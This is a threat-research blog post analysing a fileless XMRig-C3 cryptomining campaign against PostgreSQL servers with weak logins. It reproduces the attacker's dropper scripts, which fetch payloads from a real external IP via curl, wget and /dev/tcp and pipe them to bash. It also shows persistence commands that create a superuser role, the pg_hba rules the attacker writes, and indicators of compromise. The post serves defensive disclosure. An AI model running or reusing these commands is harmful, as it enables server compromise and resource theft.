Fileless XMRig-C3 Cryptominer Targets PostgreSQL Servers

wiz.io/blog/postgresql-cryptomining

March 31, 2025

Wiz Threat Research identified a new variant of an ongoing malicious campaign targeting misconfigured and publicly exposed PostgreSQL servers. In the observed attack, the threat actor (tracked by Wiz as JINX-0126) abuses exposed PostgreSQL instances, configured with weak and guessable login credentials, to gain access and to deploy XMRig-C3 cryptominers. This campaign was first documented by Aqua Security, but the threat actor has since evolved, implementing defense evasion techniques such as deploying binaries with a unique hash per target and executing the miner payload filelessly—likely to evade detection by CWPP solutions that rely solely on file hash reputation.

Based on our analysis, the threat actor is assigning a unique mining worker to each victim. During our research, we identified three different wallets linked to the threat actor (see IOC section below). By analyzing C3Pool statistics for each wallet, we can conclude that this campaign likely impacted over 1,500 victims. This suggests that misconfigured PostgreSQL instances are highly common, providing a low hanging fruit entry point for opportunistic threat actors to exploit. Furthermore, our data shows that nearly 90% of cloud environments self-host PostgreSQL instances, of which a third have at least one instance that is publicly exposed to the internet.

We have identified this activity targeting our customers' cloud environments as well as our honeypot environment. In the following analysis we will provide technical information about a sample sourced from our honeypot.

Technical Analysis

Threat actors are actively scanning the network for weakly configured services [T1110.003], with PostgreSQL being a frequent target due to the usage of default weak credentials that expose it to unauthorized access that can lead to remote code execution [T1190]. Once authenticated, they abuse the `COPY ... FROM PROGRAM` function, allowing them to drop and run malicious payloads [T1059.004].

Upon successful login, the threat actor conducts basic discovery with commands such as `whoami` and `uname` [T1082] and checks if `pg_core` exists on the workload. Next the threat actor runs the first dropper script [T1071.001] [T1105], delivered via base 64 decoded string:

```
kill -9 $(pgrep zsvc) $(pgrep pdefenderd) $(pgrep updatecheckerd) $(pgrep kinsing) $(pgrep kdevtmpfsi);

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\\r\\nHost: ${HOST}\\r\\n\\r\\n" >&3
  (while read line; do
    [[ "$line" == $'\\r' ]] && break
  done && cat) <&3
  exec 3>&-
}
if [ -x "$(command -v curl)" ]; then
  curl -ksS 159.223.123.175:36287/JzICbeMxNQHwfwHLiCOFnumixtqYBv -o pg_core
elif [ -x "$(command -v wget)" ]; then
  wget -q -Opg_core 159.223.123.175:36287/JzICbeMxNQHwfwHLiCOFnumixtqYBv
else
  __curl <http://159.223.123.175:36287/JzICbeMxNQHwfwHLiCOFnumixtqYBv> > pg_core ;
fi;
```

The script first kills other cryptominers if they exist on the resource and drops the pg_core binary. Next, pg_core is executed on the resource and deleted [T1070.004].

The attacker downloads a binary named postmaster, as an attempt to mimic the legitimate postmaster process, which is the PostgreSQL multiuser database server [T1036.005].

```
echo 'exec 5<>/dev/tcp/159.223.123.175/36287; echo "GET /HbLzilWbYDNEpWUdlDdjfdiYTChuDj HTTP/1.1" >&5; echo "host:
159.223.123.175" >&5; echo >&5; (while read line;do [[ "$line" == $(printf "\\015") ]] && break; done && cat) <&5 >
postmaster; exec 5>&-' | bash
```

`postmaster` is an obfuscated golang binary, packed with modified UPX [T1027.002]. The threat actor executes a command to append an encrypted configuration to the postmaster binary [T1027.001].

```
sh -c "printf
::::42Jz0wVPBAsW329::::VXssAL7FE0j5QG4T7cLgmn/VTADoqlvAlDqUiueQYJXy+P5Ysz9YvLS6yML0euUNaHAhwWeXD2/Q51sjeYVQ4vc3UQHvf
C8rFujLeIE3vT9uPdPSnjZwRH8X1xvEXqeQPHKL1Vv9PaWu6lrzdtDQECt0LTcz15zWHmAHAUhH4fsM/QrZHZfuJB9zX0W5eS+IrRV2Li6aPfqfYkP/D
371mPtKCq9i5l9tn2VWlsDcGesOdh2zS+iD5GrvrwXWhTDvgH2xpvL5Am1DDnKU/ftll3+s0/NFBJMRZ807VHu3h8qidkU8N1z4Wqz4XO03uZ1aUZtsY
+GbeC57EvSWYkcLnnvQqPT4qBCipQjYI+ogtzcBlSmFc7eP/a8odDaN3HvC >> postmaster 2>&1 || exit 0"
```

This configuration is encrypted using a hardcoded AES key:

```
7C6643CC24859542CE37615341E7712E82B4167528688877FE7C14648909DCD5.
```

Decrypted configuration:

```
{"ol":"admin","op":"admin","l":"psql_sys","i":"<IP>","or":5432,"x":"UYXslx38aXJsCd-
27kCDig==","lle":"4A5ZWpHM6BXS8YF7xNfjXA5ctDjTC3GBwS4ESBV9X2BGVJV8vkfXBeZfXG6w2hmdkpZaogCXiqU4DYPXn3TtPRAGJBLQ7N5","
w":10,"h":"/var/lib/postgresql/data/pg_hba.conf"}
```

The configuration contains information about the compromised system, such as:

- The username and password that were used.
- The external IP address and port of the infected server.
- The name of the superuser account that was created.
- The file location of `pg_hb.conf`.

Additionally, the configuration includes several fields related to the cryptominer that will be deployed later, including the attacker's wallet address and the worker's name.

Upon execution, `postmaster` resolves its location on the disk and read the last 1024 bytes of the binary, which holds the configuration that was added to the binary. If the trailer does not exist or is invalid, postmaster will exit with an error.

The `postmaster` binary will execute itself with the command line `postgres`: replication launcher as an attempt to blend within the service, as one of PostrgreSQL process threads is executed with the command postgres: logical replication launcher. To ensure persistence, postmaster will create a cronjob (T1053.003) to run itself every minute. It deletes the file `ssh_authorized` keys it also writes to `pg_hba` configuration file, to prevent others from logging into the database server and allow communication from internal network.

```
host all pgg_superadmins all reject
host all postgres_superadmins all reject
host all all 127.0.0.1/8 trust
host all all 172.16.0.0/12 trust
host all all 192.168.0.0/16 trust
host all all 10.0.0.0/8 trust
```

The threat actor creates a new role with high privileges for persistence [T1136]. This allows the attacker to later log in to the system even if the password has been changed.

```
CREATE ROLE psql_sys WITH LOGIN SUPERUSER PASSWORD '759686ac19adbd08b94cf53f35afdd1e';
```

The attacker also attempts to weaken the user admin, which is the default user of the service [T1098]:

```
ALTER USER "admin" WITH NOSUPERUSER NOCREATEROLE
```

`postmaster` writes the `cpu_hu` binary to disk. Similar to postmaster, `cpu_hu` is an obfuscated Golang binary packed with modified UPX. The base64 decoded miner configuration information is embedded at the end of the `cpu_hu` binary:

```
:::9XLOMQh7RZ3Tf1Xo8:::::eyJsbCI6NCwibGxlIjoiNEE1WldwSE02QlhTOFlGN3hOZmpYQTVjdERqVEMzR0J3UzRFU0JWOVgyQkdWSlY4dmtmWEJ
lWmZYRzZ3MmhtZGtwWmFvZ0NYaXFVNERZUFhuM1R0UFJBR0pCTFE3TjUiLCJ4IjoiVVlYc2x4MzhhWEpzQ2QtMjdrQ0RpZz09IiwiZmciOiIuLi4ifQ=
=
```

Decoded configuration:

"lle" is the wallet, "x" is the worker id and "fg" is the json configuration file name which is created under /tmp (`/tmp/...`) [**T1564.001**].

cpu_hu downloads the latest version of https://github.com/C3Pool/xmrig-C3/, writes the configuration file to /tmp/… and invokes the miner [**T1496**] filelessly via memfd file descriptor [**T1620**]. `cpu_hu` clones itself to create a child process and deletes itself from disk [T1070.004].

Since the attacker appends unique configuration data to malware samples, the file hash of `cpu_hu` and postmaster varies between victims.

Victims in the wild:

In our analysis, we gathered three different wallets. When looking in C3Pool stats, we observed that each wallet had approximately 550 workers. Combined, this suggests that the campaign could have leveraged over 1,500 compromised machines.

How Can Wiz Help?

Prevention:

The Wiz Dynamic Scanner detects publicly exposed PostgreSQL services configured with weak or default credentials within customers' cloud environments. The Wiz agentless workload scanner detects containers and VMs hosting PostgreSQL and identifies if they contain sensitive data or have access to highly privileged service accounts (which could just as easily be abused by opportunistic attackers for purposes other than cryptojacking).

Detection:

TheWiz Runtime Sensordetects events and behaviors associated with this threat and similar ones, alerting you as the adversary progresses through the attack kill chain: from the exploit to the initial payload delivery and ultimately to the final fileless cryptomining activity.

Here is an example of the Wiz Runtime Sensor detecting the fileless execution of the miner used in this threat:

Wiz customers can use the pre-built queries and advisory in theWiz Threat Center to search for vulnerable instances in their environment and detect if their environment was impacted by this threat.

IOCs

Wallets:

4A5ZWpHM6BXS8YF7xNfjXA5ctDjTC3GBwS4ESBV9X2BGVJV8vkfXBeZfXG6w2hmdkpZaogCXiqU4DYPXn3TtPRAGJBLQ7N5

47pt9WzQyugFQpSAwcGN2k8JHiMQ3fRZ3BQqmnYJtcejVq9adfiwVSWgrpmxiYTxvvWcHv5dD2iCaiBYiK4atkMSUGMXdx8

463TBt8Rn1qXWZDpTV4ydxQcZnkJNeLv6JRKjFbzFsY3MQZaxWsUgQF4QnxNAg8MGSPsiLn9faTWqRafHnhh3QBdSLTgRHA

File hosting service:

159.223.123.175:36287

Pool:

mine.c3pool.com:13333

File hashes (SHA1):

XMRig-C3 miner: 0b907eee9a85d39f8f0d7c503cc1f84a71c4de10

pg_core: 85198288e2ff1dad718cd84876a0b0d3173a641e

Postmaster prior to the trailer addition: 7ccfcacfa2a729494dece843e9c4d357f2eec780

Files on disk:

- Main payload: postmaster binary under `/var/lib/postgresql/data/` or in another suspicious location
- Miner configuration file: `/tmp/…`

MITRE ATT&CK® Techniques used by CPU_HU:

Command and Control - Application Layer Protocol: Web Protocols (T1071.001)

Command and Control - Ingress Tool Transfer (T1105)

Credential Access - Brute Force: Password Spraying (T1110.003)

Defense Evasion - Hide Artifacts: Hidden Files and Directories (T1564.001)

Defense Evasion - Indicator Removal: File Deletion (T1070.004)

Defense Evasion - Masquerading: Match Legitimate Name or Location (T1036.005)

Defense Evasion - Obfuscated Files or Information: Binary Padding (T1027.001)

Defense Evasion - Obfuscated Files or Information: Software Packing (T1027.002)

Defense Evasion – Reflective Code Loading (T1620)

Execution - Command and Scripting Interpreter: Unix Shell (T1059.004)

Initial Access - Exploit Public-Facing Application (T1190)

Persistence - Account Manipulation (T1098)

Persistence - Create Account (T1136)

Persistence - Scheduled Task/Job: Cron (T1053.003)

Impact – Resource Hijacking (T1496)

Discovery - System Information Discovery (T1082)

Tags

#Research	#Security	#Vulnerabilities